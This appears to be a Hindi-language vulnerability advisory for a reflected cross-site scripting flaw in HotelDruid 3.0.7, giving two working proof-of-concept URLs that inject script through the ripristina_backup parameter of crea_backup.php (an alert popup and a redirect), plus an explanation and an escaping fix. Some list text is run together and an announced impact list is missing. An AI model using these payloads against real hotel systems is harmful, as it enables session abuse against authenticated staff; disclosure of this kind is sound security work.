
HotelDruid 3.0.7 के लिए रिफ्लेक्टेड XSS कमजोरी का प्रूफ-ऑफ-कॉन्सेप्ट, जो crea_backup.php में ripristina_backup पैरामीटर के माध्यम से मनमाना जावास्क्रिप्ट निष्पादन प्रदर्शित करता है।
DigitalDruid HotelDruid v.3.0.7 में क्रॉस साइट स्क्रिप्टिंग कमजोरी एक हमलावर को crea_backup.php एंडपॉइंट में ripristina_backup पैरामीटर के माध्यम से मनमाना कोड निष्पादित करने और संवेदनशील जानकारी प्राप्त करने की अनुमति देती है।
एक हमलावर एक प्रमाणित उपयोगकर्ता को एक तैयार यूआरएल पर जाने के लिए धोखा दे सकता है, जो उनके ब्राउज़र में दुर्भावनापूर्ण जावास्क्रिप्ट को ट्रिगर करेगा। संभावित परिणामों में शामिल हैं:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
परिणाम: संदेश “Huy Vo Found This Vulnerability” के साथ एक पॉपअप अलर्ट सफल XSS निष्पादन की पुष्टि करता है।
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
परिणाम: ब्राउज़र स्वचालित रूप से Facebook पर रीडायरेक्ट हो जाता है।
HotelDruid एक ओपन-सोर्स प्रॉपर्टी मैनेजमेंट सिस्टम है जिसका उपयोग होटल, बीएंडबी और अन्य आतिथ्य व्यवसायों के लिए आरक्षण, कमरे और चालान प्रबंधित करने के लिए किया जाता है। यह वेब-आधारित है, आमतौर पर स्थानीय सर्वरों पर स्थापित किया जाता है और ब्राउज़र के माध्यम से एक्सेस किया जाता है। इसके वेब इंटरफ़ेस और प्रशासनिक प्रकृति को देखते हुए, मजबूत सुरक्षा महत्वपूर्ण है — विशेष रूप से प्रमाणित कार्यों के लिए।
crea_backup.php एंडपॉइंट ripristina_backup पैरामीटर को सैनिटाइजेशन या एन्कोडिंग के बिना प्रोसेस करता है, सीधे उपयोगकर्ता इनपुट को पेज में परावर्तित करता है। यह एक हमलावर को एक दुर्भावनापूर्ण यूआरएल तैयार करने की अनुमति देता है जो एक प्रमाणित उपयोगकर्ता के लिए प्रस्तुत पेज में मनमाना जावास्क्रिप्ट इंजेक्ट करता है।
ripristina_backupcrea_backup.phpid_sessione) की आवश्यकता हैripristina_backup में पेलोड इंजेक्ट करके एक दुर्भावनापूर्ण यूआरएल तैयार करता है।< और > वर्णों को एन्कोड करने के लिए PHP में htmlspecialchars() का उपयोग करें)।